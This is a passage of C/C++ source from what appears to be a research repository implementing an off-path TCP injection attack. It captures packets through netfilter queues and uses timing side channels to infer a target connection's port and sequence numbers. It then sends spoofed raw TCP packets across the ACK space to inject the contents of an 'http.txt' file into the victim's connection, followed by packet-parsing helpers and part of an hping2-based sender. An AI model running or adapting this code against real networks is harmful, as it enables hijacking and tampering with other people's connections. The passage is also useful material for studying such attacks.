388 | static void* infer_seq_thread(void* data) {
389 | cur_state = SEQ_INFERENCE;
390 | cur_seq = cur_ack = 0; //seq;
391 | tcp.th_seq = cur_seq; //seq;
392 | tcp.th_ack = cur_ack;
393 | printf("start to infer seq\n");
394 | create_thread(probe);
395 | return NULL;
396 | }
397 |
398 | // static void* wait_and_inject(void* data) {
399 | // char data_packet[2000];
400 | // int data_size, data_size2;
401 | // unsigned char buffer[12];
402 |
403 | // FILE *file;
404 | // file = fopen("http.txt", "r");
405 | // if (file == NULL) {
406 | // printf("open file error\n");
407 | // goto Exit;
408 | // }
409 | // data_size = fread(data_packet+100, 1, 1900, file);
410 | // printf("file size: %d\n", data_size);
411 | // for (int i = 0; i < 100; i++) {
412 | // data_packet[i] = ' ';
413 | // }
414 | // fclose(file);
415 |
416 | // if (websocket_recv_frag(Global_websocket_fd, buffer, 12) < 0) {
417 | // printf("Error on receiving msg\n");
418 | // goto Exit;
419 | // }
420 | // buffer[8] = '\0';
421 | // printf("ack number: %s\n", buffer);
422 | // cur_ack = (unsigned int)strtol((char*)buffer, NULL, 16);
423 | // printf("cur ack: %u\n", cur_ack);
424 | // tcp.th_seq = cur_seq + NUM_OF_REQUEST * SEQ_DELTA + OFFSET_PADDING + padding + 134;
425 | // tcp.th_ack = cur_ack;
426 |
427 | // tcp.th_seq -= 100;
428 | // tcp.th_ack += 334; //This is the length of the request raised by client
429 | // printf("%x, %x\n", tcp.th_seq, tcp.th_ack);
430 | // sleep(1);
431 | // for (int i = 0; i < 5; i++) {
432 | // send_tcp(packet.dport, packet.sport, 0, 64, (unsigned char*)data_packet, data_size+100, &tcp, packet.dip, packet.sip, NULL);
433 | // tcp.th_ack += ACK_WINDOW;
434 | // }
435 | // // for (int i = 0; i < 10; i++)
436 | // // send_tcp(cmd_packet.dport, cmd_packet.sport, 0, 64, NULL, 0, &cmd_tcp, cmd_packet.dip, cmd_packet.sip, NULL);
437 | // closeup();
438 |
439 | // Exit:
440 | // return NULL;
441 | // }
442 |
443 | static void* infer_ack_thread(void* data) {
444 | //send command to scale up window size
445 | unsigned char buffer[12];
446 | char data_packet[2000];
447 | FILE *file;
448 | int data_size;
449 | // uint64_t seq;
450 | // int tmp;
451 | cur_state = SEQ_INFERENCE;
452 |
453 | callback = &dummy_callback; //make sure we dont invoke callback
454 | FLAG = false;
455 |
456 | file = fopen("http.txt", "r");
457 | if (file == NULL) {
458 | printf("open file error\n");
459 | goto Exit;
460 | }
461 | data_size = fread(data_packet+padding, 1, 2000 - padding, file);
462 | printf("file size: %d\n", data_size);
463 | for (int i = 0; i < padding; i++) {
464 | data_packet[i] = ' ';
465 | }
466 | fclose(file);
467 |
468 | websocket_send_frame(Global_websocket_fd, (unsigned char*)"up", strlen("up"), TEXT_FRAME, 0);
469 | if (websocket_recv_frag(Global_websocket_fd, buffer, 12) < 0) {
470 | printf("Error on receiving msg\n");
471 | goto Exit;
472 | }
473 |
474 | tcp.th_flags = TH_PUSH | TH_ACK;
475 | tcp.th_seq = tcp.th_seq + NUM_OF_REQUEST * SEQ_DELTA + OFFSET_PADDING;
476 | for (cur_ack = 0xffffffff; cur_ack >= ACK_WINDOW; cur_ack -= ACK_WINDOW) {
477 | tcp.th_ack = cur_ack;
478 | send_tcp(packet.dport, packet.sport, 0, 64, (unsigned char*)data_packet, data_size+padding, &tcp, packet.dip, packet.sip, NULL);
479 | // usleep(10);
480 | }
481 | Exit:
482 | closeup();
483 | return NULL;
484 | }
485 |
486 | static uint32_t port_left = 49152, port_right = 65535; //32768
487 | static uint16_t cur_port = port_left;
488 |
489 | #define PORT_DIFF_THRESHOLD 2500
490 | #define PORT_DIFF_MINIMAL 2000
491 | #define PORT_THRESHOLD 5000
492 |
493 | static void* idle(void* data) {
494 | FLAG = false;
495 | callback = &dummy_callback;
496 |
497 | for (int i = 0; i < 2; i++) {
498 | for (int j = 0; j < 10; j++)
499 | send_tcp(packet.dport, packet.sport, 0, 64, NULL, 0, &tcp, packet.dip, packet.sip, NULL);
500 | usleep(10000);
501 | }
502 |
503 | FLAG = true;
504 | callback = &all_callback;
505 | timeout_handler(0);
506 | return NULL;
507 | }
508 |
509 | struct Data {
510 | uint32_t delay, diff;
511 | // bool operator<(const Data& a) {return diff < a.diff;}
512 | };
513 | bool compare_diff(Data a, Data b) { return a.diff < b.diff; }
514 | bool compare_delay(Data a, Data b) { return a.delay < b.delay; }
515 |
516 | #define NUM_OF_DATA 100
517 | static Data results[NUM_OF_DATA * 2];
518 | static int mIndex = 0;
519 | static void measure(uint64_t delay, uint64_t diff) {
520 | results[mIndex].delay = delay;
521 | results[mIndex].diff = diff;
522 | mIndex++;
523 |
524 | if (mIndex == NUM_OF_DATA) {
525 | cur_state = MEASURE_RIGHT;
526 | printf("---------------------\n");
527 |
528 | uint64_t total = 0, mean, standard_deviation;
529 | int i;
530 |
531 | std::sort(results, results+NUM_OF_DATA, compare_delay);
532 | for (i = 1; i < NUM_OF_DATA - 1; i++) //eliminate the largest and the smallest one
533 | total += results[i].delay;
534 | mean = total / (NUM_OF_DATA - 2);
535 | for (i = 1, total = 0; i < NUM_OF_DATA - 1; i++)
536 | total += (results[i].delay - mean) * (results[i].delay - mean);
537 | total /= (NUM_OF_DATA - 3);
538 | standard_deviation = sqrt(total);
539 | MAX_FULL_LATENCY = mean + 5 * standard_deviation;
540 | printf("OK. MAX_FULL_LATENCY: %lu\n", MAX_FULL_LATENCY);
541 |
542 | } else if (mIndex == NUM_OF_DATA * 2) {
543 | //analyse data and come out with several threshold
544 | printf("+++++++++++++++++++++++\n");
545 | mIndex = 0;
546 | std::sort(results, results+NUM_OF_DATA, compare_diff);
547 | std::sort(results+NUM_OF_DATA, results+NUM_OF_DATA*2, compare_diff);
548 | int i = NUM_OF_DATA*2-1;
549 | for ( ; i > NUM_OF_DATA + NUM_OF_DATA / 2; i--) {
550 | int j = 0;
551 | for ( ; j < NUM_OF_DATA - 1; j++)
552 | if (results[j].diff >= results[i].diff)
553 | break;
554 | if (j < (NUM_OF_DATA) / 10) {
555 | printf("OK. threshold: %u\n", results[i].diff);
556 | SEQ_DIFF_THRESHOLD = results[i].diff / 100 * 100 + 100;
557 | break;
558 | }
559 | }
560 |
561 | if (i == NUM_OF_DATA + NUM_OF_DATA / 2) {
562 | printf("WARNING: you cannot differiate by diff %lu\n", SEQ_DIFF_THRESHOLD);
563 | SEQ_DIFF_THRESHOLD = -1;
564 | }
565 |
566 | std::sort(results, results+NUM_OF_DATA, compare_delay);
567 | std::sort(results+NUM_OF_DATA, results+NUM_OF_DATA*2, compare_delay);
568 | i = NUM_OF_DATA*2-1;
569 | for ( ; i > NUM_OF_DATA + NUM_OF_DATA / 2; i--) {
570 | int j = 0;
571 | for ( ; j < NUM_OF_DATA - 1; j++)
572 | if (results[j].delay >= results[i].delay)
573 | break;
574 | if (j < (NUM_OF_DATA) / 10) {
575 | printf("OK. threshold: %u\n", results[i].delay);
576 | SEQ_THRESHOLD = results[i].delay / 100 * 100 + 100;
577 | break;
578 | }
579 | }
580 |
581 | if (i == NUM_OF_DATA + NUM_OF_DATA / 2) {
582 | printf("WARNING: you cannot differiate by RTT %lu\n", SEQ_THRESHOLD);
583 | SEQ_THRESHOLD = -1;
584 | }
585 |
586 | if (/*SEQ_THRESHOLD == -1 && */SEQ_DIFF_THRESHOLD == -1) {
587 | if (!DOUBLE_SEQ_FLAG) {
588 | DOUBLE_SEQ_FLAG = true;
589 | cur_state = MEASURE_WRONG;
590 | mIndex = 0;
591 | goto probe;
592 | } else {
593 | closeup();
594 | return;
595 | }
596 | }
597 |
598 | // if (SEQ_DIFF_THRESHOLD == -1) {
599 | // cur_state = MEASURE_WRONG;
600 | // mIndex = 0;
601 | // goto probe;
602 | // }
603 |
604 | // closeup();
605 | // return;
606 |
607 |
608 | //seq inference
609 | cur_state = SEQ_INFERENCE;
610 | create_thread(infer_seq_thread);
611 | return;
612 | }
613 |
614 | probe:
615 | create_thread(probe);
616 | }
617 |
618 | static void all_callback() {
619 | uint64_t end_time, diff, delay;
620 | static uint64_t prev_diff, prev_delay, prev_delay2, prev_diff2;
621 | static int state = 0, iters = 0;
622 | // int tmp;
623 | counter++;
624 |
625 | switch (counter % 2) {
626 | case 1:
627 | last_time_diff = microtime();
628 | return;
629 | case 0:
630 | set_timeout(0);
631 | end_time = microtime();
632 | diff = end_time - last_time_diff;
633 | delay = end_time - last_time_after;
634 | // printf("[+]%d\n", ack_nums);
635 | #ifdef DEBUG
636 | printf("%lu %lu %lu\n", end_time - last_time, delay, diff);
637 | #endif
638 | if ((diff > delay && diff - delay > TIME_INTERVAL) || diff > end_time - last_time) { //we must accept an extra one, let's ignore the previous one.
639 | last_time_diff = end_time;
640 | counter--;
641 | set_timeout(TIMEOUT_INTERVAL);
642 | return;
643 | }
644 |
645 | if (delay > MAX_FULL_LATENCY &&
646 | cur_state != WARMUP && cur_state != MEASURE_WRONG) { // For WARMUP, MEASURE_RIGHT, MEASURE_WRONG cases
647 | create_thread(probe);
648 | return;
649 | }
650 |
651 | // if (diff < 500 && cur_state == MEASURE_WRONG) {
652 | // create_thread(probe);
653 | // return;
654 | // }
655 |
656 | switch (cur_state) {
657 | case WARMUP:
658 | if (hosts->num > 1) {
659 | if (counter % 4 == 0) {
660 | strncpy(packet.dip, hosts->ips[0], INET_ADDRSTRLEN);
661 | } else {
662 | strncpy(packet.dip, hosts->ips[1], INET_ADDRSTRLEN);
663 | }
664 | }
665 | if (counter == 120 * 2) {
666 | printf("---------------------------------\n");
667 | if (hosts->num == 1) {
668 | // sleep(1);
669 | #ifdef AUTO_ADJUST
670 | cur_state = MEASURE_WRONG;
671 | #else
672 | //seq inference
673 | cur_state = SEQ_INFERENCE;
674 | state = 0;
675 | create_thread(infer_seq_thread);
676 | return;
677 | #endif
678 | } else {
679 | strncpy(packet.dip, hosts->ips[0], INET_ADDRSTRLEN);
680 | cur_state = MEASURE_IP;
681 | state = 0;
682 | }
683 | }
684 | create_thread(probe);
685 | break;
686 | case MEASURE_IP:
687 | prev_diff = diff;
688 | prev_delay = delay;
689 | strncpy(packet.dip, hosts->ips[1], INET_ADDRSTRLEN);
690 | cur_state = MEASURE_IP_COMPARE;
691 | create_thread(probe);
692 | break;
693 | case MEASURE_IP_COMPARE:
694 | if (prev_diff < diff) {
695 | state++;
696 | } else {
697 | state--;
698 | }
699 | cur_state = MEASURE_IP;
700 | strncpy(packet.dip, hosts->ips[0], INET_ADDRSTRLEN);
701 |
702 | if (state == 2) {
703 | cur_state = MEASURE_WRONG;
704 | state = 0;
705 | strncpy(packet.dip, hosts->ips[1], INET_ADDRSTRLEN);
706 | printf("get ip address: %s\n", packet.dip);
707 | } else if (state == -2) {
708 | cur_state = MEASURE_WRONG;
709 | state = 0;
710 | strncpy(packet.dip, hosts->ips[0], INET_ADDRSTRLEN);
711 | printf("get ip address: %s\n", packet.dip);
712 | }
713 | create_thread(probe);
714 | break;
715 | case MEASURE_RIGHT:
716 | case MEASURE_WRONG:
717 | measure(delay, diff);
718 | break;
719 | case SEQ_INFERENCE:
720 | if (handle_seq(delay, diff)) {
721 | state++;
722 | if (state == 3) {
723 | printf("here you are\n");
724 | if (tcp.th_seq > cur_window)
725 | seq_left = tcp.th_seq - cur_window;
726 | else
727 | seq_left = 0;
728 | seq_right = tcp.th_seq;
729 | cur_seq = (seq_left + seq_right) / 2;
730 | tcp.th_seq = cur_seq;
731 | cur_state = SEQ_INFERENCE_STAGE2;
732 | state = 0;
733 | }
734 | } else {
735 | state = 0;
736 | if (cur_seq > seq_right) {
737 | printf("failed in seq inference\n");
738 | if (initial_window != cur_window) {
739 | cur_window /= 2;
740 | }
741 | initial_window /= 2;
742 | cur_seq = initial_window;
743 | tcp.th_seq = cur_seq;
744 | printf("shrink the window size to %lu\n", cur_window);
745 | if (cur_window == (SEQ_WINDOW >> 2)) {
746 | closeup();
747 | return;
748 | }
749 | }
750 | }
751 | create_thread(probe);
752 | break;
753 | case SEQ_INFERENCE_STAGE2:
754 | tcp.th_seq = seq_left - 1;
755 | prev_diff = diff;
756 | prev_delay = delay;
757 | cur_state = SEQ_COMPARE1;
758 | create_thread(probe);
759 | break;
760 | case SEQ_COMPARE1:
761 | tcp.th_seq = seq_right;
762 | prev_diff2 = diff;
763 | prev_delay2 = delay;
764 | cur_state = SEQ_COMPARE2;
765 | create_thread(probe);
766 | break;
767 | case SEQ_COMPARE2:
768 | //compare the distance
769 | // guessed: prev_diff, prev_delay; left-1: prev_diff2, prev_delay2; right: diff, delay
770 | if (prev_diff2 <= diff) {
771 | printf("it shouldn't happen\n");
772 | // if (seq_right - seq_left <= 128) {
773 | // state = 0;
774 | // iters++;
775 | // } else {
776 | // iters = 0;
777 | // state = 0;
778 | // restart_seq();
779 | // return;
780 | // }
781 | state = 0;
782 | iters++;
783 | } else if (absolute_value_diff(prev_diff, prev_diff2) < absolute_value_diff(prev_diff, diff)) {
784 | if (prev_diff > diff && prev_diff - diff > 400) {
785 | state++;
786 | if (state == 2) {
787 | seq_left = cur_seq + 1;
788 | state = 0;
789 | iters = 0;
790 | }
791 | } else {
792 | state = 0;
793 | iters++;
794 | }
795 | } else {
796 | if (prev_diff2 > prev_diff && prev_diff2 - prev_diff > 400) {
797 | state--;
798 | if (state == -2) {
799 | seq_right = cur_seq;
800 | state = 0;
801 | iters = 0;
802 | }
803 | } else {
804 | state = 0;
805 | iters++;
806 | }
807 | }
808 |
809 | if (iters == 3) {
810 | //restart
811 | iters = 0;
812 | restart_seq();
813 | return;
814 | }
815 |
816 | if (seq_left == seq_right && seq_left != 0) {
817 | printf("get seq num: %lx\n", seq_left);
818 | tcp.th_seq = cur_seq = seq_left;
819 | cur_state = ACK_INFERENCE;
820 | state = 0;
821 | if (DOUBLE_SEQ_FLAG) {
822 | ack_left = tcp.th_ack;
823 | if (ack_left == 0)
824 | ack_right = 0x80000000;
825 | printf("left: %lx, right: %lx\n", ack_left, ack_right);
826 | cur_right_ack = (ack_left + ack_right) >> 1;
827 | cur_left_ack = (cur_right_ack + 0x80000000) & 0xffffffff;
828 | tcp.th_ack = cur_left_ack;
829 | printf("cur_left: %lx, cur_right: %lx\n", cur_left_ack, cur_right_ack);
830 | }
831 | printf("pause here\n");
832 | sleep(3);
833 | create_thread(infer_ack_thread);
834 | // closeup();
835 | return;
836 | }
837 | printf("seq left: %lx, right: %lx\n", seq_left, seq_right);
838 | cur_seq = (seq_left + seq_right) / 2;
839 | tcp.th_seq = cur_seq;
840 | cur_state = SEQ_INFERENCE_STAGE2;
841 |
842 | create_thread(probe);
843 | break;
844 | }
845 | return;
846 | }
847 | }
848 |
849 | static void* thread_cb(void* data) {
850 | unsigned char buffer[12];
851 |
852 | pthread_mutex_lock(&socket_lock);
853 |
854 | #ifdef WEBSOCKET
855 | if (websocket_recv_frag(Global_websocket_fd, buffer, 12) < 0) {
856 | printf("Error on receiving msg\n");
857 | goto Exit;
858 | }
859 | printf("receive data: %s\n", buffer);
860 | #endif
861 |
862 | Exit:
863 | return NULL;
864 | }
865 |
866 | static int cb(struct nfq_q_handle *qh, struct nfgenmsg *nfgmsg,
867 | struct nfq_data *nfa, void *data) {
868 | struct nfqnl_msg_packet_hdr *ph;
869 | u_int32_t id;
870 | int len, ret = 0;//, frame_size;
871 | unsigned char *payload;
872 | //thread
873 | pthread_attr_t attr;
874 | pthread_t child;
875 | //inference
876 | uint32_t seq;
877 |
878 | ph = nfq_get_msg_packet_hdr(nfa);
879 | id = ntohl(ph->packet_id);
880 |
881 | ack_nums++;
882 | if (ack_nums == 1) {
883 | ret = nfq_set_verdict(qh, id, NF_ACCEPT, 0, NULL);
884 | len = nfq_get_payload(nfa, &payload);
885 | get_ip((struct iphdr*)payload, payload, len, &packet);
886 | // parse_ip_packet((struct iphdr*)payload, payload, len, &packet, false);
887 | printf("sip: %s, dip: %s, sport: %u\n", packet.sip, packet.dip, packet.sport);
888 | tcp.th_flags = TH_PUSH | TH_ACK; // | TH_RST;// | TH_URG;
889 | tcp.th_seq = tcp.th_ack = 0;
890 | tcp.th_win = 65535;
891 | packet.dport = 80;
892 |
893 | //start a new thread
894 | pthread_attr_init(&attr);
895 | pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED);
896 | if (pthread_create(&child, &attr, thread_cb, &packet) != 0) {
897 | printf("thread creation error\n");
898 | }
899 | return ret;
900 | }
901 |
902 | // printf("ack num: %d\n", ack_nums);
903 | if (callback != NULL) {
904 | ret = nfq_set_verdict(qh, id, NF_ACCEPT, 0, NULL);
905 | len = nfq_get_payload(nfa, &payload);
906 | // ack = get_ack((struct iphdr*)payload, payload, len);
907 | seq = get_seq((struct iphdr*)payload, payload, len);
908 |
909 | if (seq == cmd_packet.seq - 1) {
910 | printf("It's a keep-alive ACK\n");
911 | return ret;
912 | }
913 |
914 | (*callback)();
915 |
916 | } else {
917 | ret = nfq_set_verdict(qh, id, NF_ACCEPT, 0, NULL);
918 | len = nfq_get_payload(nfa, &payload);
919 | parse_ip_packet((struct iphdr*)payload, payload, len, &cmd_packet, 0);
920 | cmd_tcp.th_flags = TH_ACK | TH_PUSH;
921 | cmd_tcp.th_win = 65535;
922 | cmd_tcp.th_seq = 0; //cmd_packet.ack;
923 | cmd_tcp.th_ack = 0; //cmd_packet.seq + cmd_packet.size;
924 |
925 | if (cmd_packet.size == 8) {
926 | //register
927 | printf("receive ack num: %d\n", ack_nums);
928 |
929 | if (need_resolve(SERVER_HOST)) {
930 | hosts = getipbyhostname((char*)SERVER_HOST);
931 | if (hosts->num == 0) {
932 | printf("%s\n", "cannot get server ip");
933 | exit(1);
934 | } else if (hosts->num > 2) {
935 | fprintf(stderr, "%s\n", "Sorry, more than 2 IP addresses were found, and we don't support it yet");
936 | exit(1);
937 | }
938 | printf("server ip addr: %s\n", hosts->ips[0]);
939 | strncpy(packet.dip, hosts->ips[0], INET_ADDRSTRLEN);
940 | } else {
941 | printf("don't need to resolve address\n");
942 | hosts = (struct Hosts*)malloc(sizeof(struct Hosts));
943 | hosts->num = 1;
944 | hosts->ips[0] = (char*)malloc(INET_ADDRSTRLEN);
945 | strncpy(hosts->ips[0], SERVER_HOST, INET_ADDRSTRLEN);
946 | strncpy(packet.dip, SERVER_HOST, INET_ADDRSTRLEN);
947 | }
948 |
949 | FLAG = true;
950 | callback = &all_callback;
951 |
952 | #ifndef INFER_PORT
953 | cur_port = cmd_packet.sport + 1;
954 | printf("get port number: %u\n", cur_port);
955 | #else
956 | cur_port = port_left;
957 | #endif
958 | packet.sport = cur_port;
959 | cur_seq = 0; //seq;
960 | cur_ack = 0;
961 | tcp.th_seq = cur_seq;
962 | tcp.th_ack = 0;
963 | cur_left_ack = 0;
964 | cur_right_ack = 0x80000000;
965 | cur_state = WARMUP;
966 | start_infer = microtime();
967 | counter = 0;
968 | create_thread(probe);
969 |
970 | }
971 | }
972 | return ret;
973 | }
974 |
975 | static void init() {
976 |
977 | thread_server_start();
978 | sockraw = open_sockraw();
979 |
980 | #ifdef WEBSOCKET
981 | start = websocket_make_frame((unsigned char*)"s", strlen("s"), TEXT_FRAME, 0, start_size);
982 | end = websocket_make_frame((unsigned char*)"e", strlen("e"), TEXT_FRAME, 0, end_size);
983 | #else
984 | start_size = 1;
985 | make_str(start, "s", start_size)
986 | end_size = 1;
987 | make_str(end, "e", end_size)
988 | #endif
989 | frame_size = 1;
990 | make_str(infer, "h", frame_size)
991 |
992 | //register signal handler
993 | signal(SIGINT, signal_handler);
994 | signal(SIGALRM, timeout_handler);
995 | }
996 |
997 | int main(int argc, char **argv) {
998 |
999 | init();
1000 |
1001 | struct nfq_handle *h;
1002 | struct nfq_q_handle *qh;
1003 | // struct nfnl_handle *nh;
1004 | int fd;
1005 | int rv;
1006 | char buf[4096] __attribute__ ((aligned));
1007 | printf("opening library handle\n");
1008 | h = nfq_open();
1009 | if (!h) {
1010 | fprintf(stderr, "error during nfq_open()\n");
1011 | exit(1);
1012 | }
1013 |
1014 | printf("unbinding existing nf_queue handler for AF_INET (if any)\n");
1015 | if (nfq_unbind_pf(h, AF_INET) < 0) {
1016 | perror("error during nfq_unbind_pf()\n");
1017 | }
1018 |
1019 | printf("binding nfnetlink_queue as nf_queue handler for AF_INET\n");
1020 | if (nfq_bind_pf(h, AF_INET) < 0) {
1021 | fprintf(stderr, "error during nfq_bind_pf()\n");
1022 |
1023 | exit(1);
1024 | }
1025 |
1026 | printf("binding this socket to queue '80'\n");
1027 | qh = nfq_create_queue(h, 80, &cb, NULL);
1028 | if (!qh) {
1029 | fprintf(stderr, "error during nfq_create_queue()\n");
1030 | exit(1);
1031 | }
1032 |
1033 | printf("setting copy_packet mode\n");
1034 | if (nfq_set_mode(qh, NFQNL_COPY_PACKET, 0xffff) < 0) {
1035 | fprintf(stderr, "can't set packet_copy mode\n");
1036 | exit(1);
1037 | }
1038 |
1039 |
1040 | fd = nfq_fd(h);
1041 | while ((rv = recv(fd, buf, sizeof(buf), 0)) && rv >= 0) {
1042 | nfq_handle_packet(h, buf, rv);
1043 | }
1044 |
1045 | printf("unbinding from queue 0\n");
1046 | nfq_destroy_queue(qh);
1047 |
1048 | #ifdef INSANE
1049 | /* normally, applications SHOULD NOT issue this command, since
1050 | * * it detaches other programs/sockets from AF_INET, too ! */
1051 | printf("unbinding from AF_INET\n");
1052 | nfq_unbind_pf(h, AF_INET);
1053 | #endif
1054 |
1055 | printf("closing library handle\n");
1056 | nfq_close(h);
1057 | }
1058 |
--------------------------------------------------------------------------------
/server/src/packet.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #ifndef PACKET_H
3 | #define PACKET_H
4 |
5 | #include
6 | #include
7 |
8 | typedef enum
9 | {
10 | IP_PROTOCOL_ICMP = 1,
11 | IP_PROTOCOL_IGMP = 2,
12 | IP_PROTOCOL_TCP = 6,
13 | IP_PROTOCOL_UDP = 17
14 | } ip_protocol_enum;
15 |
16 | struct cb_data
17 | {
18 | struct iphdr *packet_header;
19 | int len;
20 | char* payload;
21 | };
22 |
23 | #endif
--------------------------------------------------------------------------------
/server/src/parse.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 |
8 | #include "parse.h"
9 | #include "packet.h"
10 | #include "hping2.h"
11 |
12 | static uint32_t get_tcp_timestamp(Packet *packet, struct tcphdr* tcp, unsigned int tcp_len) {
13 | int optlen;
14 | unsigned char *opt;
15 | uint32_t tstamp, echo;
16 | unsigned int tcphdrlen;
17 |
18 | if (tcp_len < TCPHDR_SIZE)
19 | return 0;
20 | tcphdrlen = tcp->th_off * 4;
21 | /* bad len or no options in the TCP header */
22 | if (tcphdrlen <= 20 || tcphdrlen > tcp_len)
23 | return 0;
24 | optlen = tcphdrlen - TCPHDR_SIZE;
25 | opt = (unsigned char*)tcp + TCPHDR_SIZE;
26 |
27 | while (optlen) {
28 | switch(*opt) {
29 | case 0: //end of option
30 | return 0;
31 | case 1: //nop
32 | opt++;
33 | optlen--;
34 | continue;
35 | default:
36 | if (optlen < 2)
37 | return 0;
38 | if (opt[1] > optlen)
39 | return 0;
40 | if (opt[0] != 8) {
41 | optlen -= opt[1];
42 | opt += opt[1];
43 | continue;
44 | }
45 | if (opt[1] != 10) /*bad len*/
46 | return 0;
47 | memcpy(&tstamp, opt+2, 4);
48 | memcpy(&echo, opt+6, 4);
49 | tstamp = ntohl(tstamp);
50 | echo = ntohl(echo);
51 | if (packet) {
52 | packet->tstamp = tstamp;
53 | packet->echo = echo;
54 | }
55 | return tstamp;
56 | }
57 | }
58 | return 0;
59 | }
60 |
61 | uint32_t get_timestamp(struct iphdr* packet_header, unsigned char* payload, int len) {
62 | struct tcphdr* packet_tcp_header = (struct tcphdr*)(payload + (packet_header->ihl * 4));
63 | int tcp_len = len - packet_header->ihl * 4;
64 | return get_tcp_timestamp(NULL, packet_tcp_header, tcp_len);
65 | }
66 |
67 | uint16_t get_dport(struct iphdr* packet_header, unsigned char* payload, int len) {
68 | struct tcphdr* packet_tcp_header = (struct tcphdr*)(payload + (packet_header->ihl * 4));
69 | return ntohs(packet_tcp_header->th_dport);
70 | }
71 |
72 | int get_ip(struct iphdr* packet_header, unsigned char* payload,
73 | int len, Packet *packet) {
74 | inet_ntop(AF_INET, &packet_header->saddr, packet->sip,
75 | INET_ADDRSTRLEN);
76 | inet_ntop(AF_INET, &packet_header->daddr, packet->dip,
77 | INET_ADDRSTRLEN);
78 | return 1;
79 | }
80 |
81 | uint32_t get_ack(struct iphdr* packet_header, unsigned char* payload, int len) {
82 | struct tcphdr* packet_tcp_header;
83 |
84 | if (packet_header->protocol == IP_PROTOCOL_TCP) {
85 | packet_tcp_header = (struct tcphdr*)(payload + (packet_header->ihl * 4));
86 | // get ack
87 | return ntohl(packet_tcp_header->th_ack);
88 | }
89 | return -1;
90 | }
91 |
92 | uint32_t get_seq(struct iphdr* packet_header, unsigned char* payload, int len) {
93 | struct tcphdr* packet_tcp_header;
94 |
95 | if (packet_header->protocol == IP_PROTOCOL_TCP) {
96 | packet_tcp_header = (struct tcphdr*)(payload + (packet_header->ihl * 4));
97 | // get ack
98 | return ntohl(packet_tcp_header->th_seq);
99 | }
100 | return -1;
101 | }
102 |
103 | int parse_ip_packet(struct iphdr* packet_header, unsigned char* payload,
104 | int len, Packet* packet, bool new_data) {
105 |
106 | struct tcphdr* packet_tcp_header;
107 | char* tcp_payload = NULL;
108 | int tcp_len;
109 |
110 | inet_ntop(AF_INET, &packet_header->saddr, packet->sip,
111 | INET_ADDRSTRLEN);
112 | inet_ntop(AF_INET, &packet_header->daddr, packet->dip,
113 | INET_ADDRSTRLEN);
114 |
115 | if (packet_header->protocol == IP_PROTOCOL_TCP) {
116 | packet_tcp_header = (struct tcphdr*)(payload + (packet_header->ihl * 4));
117 | tcp_payload = (char*)payload + (packet_header->ihl * 4);
118 | tcp_len = len - packet_header->ihl * 4;
119 | // get port
120 | packet->sport = ntohs(packet_tcp_header->th_sport);
121 | if (packet->sport < 10000) {
122 | printf("errors\n");
123 | printf("header len: %d\n", packet_header->ihl);
124 | exit(1);
125 | }
126 | packet->dport = ntohs(packet_tcp_header->th_dport);
127 | packet->seq = ntohl(packet_tcp_header->th_seq);
128 | packet->ack = ntohl(packet_tcp_header->th_ack);
129 | packet->size = tcp_len - packet_tcp_header->th_off * 4;
130 | if (new_data) {
131 | packet->payload = (char *)malloc(packet->size);
132 | strncpy(packet->payload, tcp_payload + packet_tcp_header->th_off * 4, packet->size);
133 | } else {
134 | packet->payload = tcp_payload + packet_tcp_header->th_off * 4;
135 | }
136 | get_tcp_timestamp(packet, packet_tcp_header, tcp_len);
137 | return packet->size;
138 | }
139 | return -1;
140 | }
141 |
142 | char* retrieve_text_payload(struct iphdr* packet_header, unsigned char* payload, int len) {
143 | struct tcphdr* packet_tcp_header;
144 | char* tcp_payload = NULL;
145 | int tcp_len = 0;
146 | if (packet_header->protocol == IP_PROTOCOL_TCP) {
147 | packet_tcp_header = (struct tcphdr*)(payload + (packet_header->ihl * 4));
148 | tcp_len = len - packet_header->ihl * 4 - packet_tcp_header->th_off * 4;
149 | tcp_payload = (char*)malloc(tcp_len+1);
150 | strncpy(tcp_payload, (char*)payload + (packet_header->ihl * 4), tcp_len);
151 | tcp_payload[tcp_len] = '\0';
152 | }
153 | return tcp_payload;
154 | }
155 |
--------------------------------------------------------------------------------
/server/src/parse.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #ifndef PARSE_H
4 | #define PARSE_H
5 |
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 |
12 | struct Packet {
13 | char sip[INET_ADDRSTRLEN];
14 | char dip[INET_ADDRSTRLEN];
15 | uint16_t sport;
16 | uint16_t dport;
17 | char *payload;
18 | uint64_t size;
19 | uint32_t seq;
20 | uint32_t ack;
21 | uint32_t tstamp, echo;
22 | };
23 |
24 | uint32_t get_timestamp(struct iphdr* packet_header, unsigned char* payload, unsigned int len);
25 | uint16_t get_dport(struct iphdr* packet_header, unsigned char* payload, int len);
26 | int get_ip(struct iphdr* packet_header, unsigned char* payload,
27 | int len, Packet *packet);
28 | uint32_t get_ack(struct iphdr* packet_header, unsigned char* payload, int len);
29 | uint32_t get_seq(struct iphdr* packet_header, unsigned char* payload, int len);
30 | int parse_ip_packet(struct iphdr* packet_header, unsigned char* payload,
31 | int len, Packet* packet, bool new_data);
32 | char* retrieve_text_payload(struct iphdr* packet_header, unsigned char* payload, int len);
33 |
34 | #endif
--------------------------------------------------------------------------------
/server/src/sendtcp.c:
--------------------------------------------------------------------------------
1 | /*
2 | * $smu-mark$
3 | * $name: sendtcp.c$
4 | * $author: Salvatore Sanfilippo $
5 | * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
6 | * $license: This software is under GPL version 2 of license$
7 | * $date: Fri Nov 5 11:55:49 MET 1999$
8 | * $rev: 8$
9 | */
10 |
11 | #include
12 | #include
13 | #include
14 | #include
15 | #include
16 | #include
17 | #include
18 |
19 | #include "hping2.h"
20 | #include "parse.h"
21 |
22 | #define set_option(data, pos, kind, length) { \
23 | data[pos++] = kind; \
24 | data[pos++] = length; \
25 | }
26 |
27 | #ifdef ADDOPTIONS
28 | static unsigned char* make_options(int &option_size, struct Options* opts) {
29 | unsigned char* options;
30 | static uint32_t heartbeat = 0;
31 | uint32_t echo, tstamp;
32 | int pos = 0;
33 | if (opts == NULL) {
34 | option_size = 0;
35 | return NULL;
36 | }
37 |
38 | option_size = 4 //Maximum segmen size
39 | + 2 //TCP SACK Permitted
40 | + 1 //No-operation
41 | + 3 //Window scale(2^n)
42 | + 10; //timestamp
43 | options = (unsigned char*)malloc(option_size);
44 | set_option(options, pos, 2, 4)
